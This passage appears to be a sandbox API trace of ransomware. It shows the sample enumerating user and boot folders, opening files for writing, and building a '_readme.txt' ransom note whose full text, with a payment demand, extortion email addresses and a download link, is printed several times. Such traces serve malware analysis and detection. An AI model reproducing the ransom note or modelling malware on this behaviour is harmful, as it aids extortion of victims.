Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.751] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.751] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.751] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e48 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.751] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.751] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e48 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.751] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.751] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.751] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.751] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.751] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.751] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.752] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.752] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.752] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.752] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.752] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.752] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.752] PathFindFileNameW (pszPath="") returned="" [0111.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.752] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.752] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.752] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35fd8 [0111.753] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.753] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.753] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.753] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaf043c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdaf043c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1afe8 [0111.753] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e48 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05f28 [0111.753] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e48 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05ef0 [0111.753] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e48 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0111.753] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.753] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0111.753] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.754] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0111.754] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.754] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.754] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.754] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.754] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ce0 [0111.754] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.754] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.754] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.754] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.754] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.754] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0111.754] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.754] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.754] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.754] PathFindFileNameW (pszPath="") returned="" [0111.754] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.754] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.754] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.755] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.755] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.755] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0111.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.755] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0111.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b162e0 [0111.755] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.755] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.755] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.755] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.756] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.756] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1afa0 [0111.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.756] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0111.756] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.756] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.756] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.756] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36078 [0111.756] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: 